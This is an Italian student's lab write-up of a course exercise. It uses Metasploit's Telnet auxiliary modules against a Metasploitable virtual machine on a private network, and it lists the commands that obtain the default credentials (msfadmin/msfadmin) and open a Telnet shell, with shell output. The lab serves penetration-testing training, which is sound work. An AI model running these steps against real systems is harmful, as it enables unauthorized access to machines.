Esercizio W16D1 - Exploit Telnet e TWiki

RICHIESTA

L'esercizio W16D1 chiede allo studente di sfruttare un modulo di Metasploit (auxiliary telnet_version) per sfruttare una vulnerabilità legata al servizio Telnet e prendere possesso della macchina target.

~~~

SOLUZIONE

Per la soluzione dell'esercizio W16D1 ho utilizzato Metasploit, un framework di penetration testing che fornisce un'ampia collezione di exploit (codici o sequenze di comandi che sfruttano una specifica vulnerabilità in un sistema), payload (codice che viene eseguito sul sistema target dopo l'exploit) e strumenti per testare la vulnerabilità dei sistemi informatici.

Per l'esercitazione, ho utilizzato una macchina virtuale Debian come attaccante - dove ho installato Metasploit e le relative dipendenze visto che non è preinstallato - e una macchina virtuale Metasploitable come target. La VM Debian ha indirizzo **IP 192.168.1.25**, quella Metasploitable **192.168.1.40.**

Per quel che riguarda il tool Metasploit, ho utilizzato un **Auxiliary Module**, un modulo che non sfrutta direttamente un exploit ma si pone come strumento per la scansione delle reti e l'acquisizione di credenziali. Il cuore dell'esercizio è infatti proprio quello di procurarsi i dati di login della VM Metasploitable.

Utilizzando questo modulo opportunamente configurato, sono riuscito a carpire i dati di login della VM Metasploitable attraverso una vulnerabilità del servizio Telnet in esecuzione sulla porta 23. A riprova di questo, ho ottenuto una shell remota sulla macchina Target, sfruttando la vulnerabilità del servizio Telnet e le credenziali di accesso ottenute.

~~~

ANNOTAZIONI TECNICHE

Come anticipato nel paragrafo Soluzione, la prima operazione che ho compiuto è quella dell'installazione di Metasploit (con relative dipendenze) sulla macchina virtuale Debian. Dopo aver installato GIT, Ruby, Postgresql e le altre librerie necessarie, ho semplicemente clonato il repository di Metasploit Framework con il comando:

git clone https://github.com/rapid7/metasploit-framework.git

Il passo successivo è stato quello di inizializzare e configurare il database PostgreSQL e, una volta configurato il tutto, lanciare Metasploit Framework con il comando:

./msfconsole

Questo comando mi ha permesso di avviare Metasploit. Per la risoluzione dell'esercizio, ho innanzitutto cercato tutti i moduli riguardanti Telnet con il comando **search telnet**, e poi ho selezionato dall'elenco il modulo appropriato con il comando **use auxiliary/scanner/telnet/telnet_version.**

Ho poi configurato il modulo con l'indirizzo IP della macchina target (comando **set RHOSTS 192.168.1.40**), ho controllato la correttezza delle informazioni con il comando **show options** e infine ho

lanciato l'attacco con il comando **exploit**. In questo modo, mi sono procurato i dati di login della

macchina Metasploitable (msfadmin / msfadmin).
Per confermare l'effettiva riuscita dell'attacco, ho utilizzato il modulo Telnet login per ottenere una shell remota sulla macchina target, sempre sfruttando la vulnerabilità Telnet. Ho selezionato il modulo appropriato con il comando use auxiliary/scanner/telnet/telnet_login, ho poi inserito i dati relativi a RHOST, username e password con gli appositi comandi **set RHOSTS 192.168.1.40**, **set username msfadmin** e **set password msfadmin.** Ho infine controllato la correttezza delle informazioni con il comando **show options** e lanciato l'attacco con il comando **exploit**.

L'esecuzione dell'exploit mi ha consentito di connettermi alla porta 23 della macchina target - quella di default per il servizio Telnet - e di autenticarmi con i dati di login ottenuti. Ho poi controllato le sessioni aperte con il comando **sessions -l** e scelto la sessione corretta con il comando **sessions -i 1**.
Come mostrato dagli screenshot, questo mi ha consentito di prendere completamente possesso della macchina virtuale Metasploitable.

```
msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 9a:b3:10:fb:87:47
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::98b3:10ff:fefb:8747/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:245 errors:0 dropped:0 overruns:0 frame:0
          TX packets:193 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:18286 (17.8 KB)  TX bytes:24734 (24.1 KB)
          Base address:0xc000 Memory:febc0000-febe0000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:184 errors:0 dropped:0 overruns:0 frame:0
          TX packets:184 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:64729 (63.2 KB)  TX bytes:64729 (63.2 KB)

msfadmin@metasploitable:~$ _
```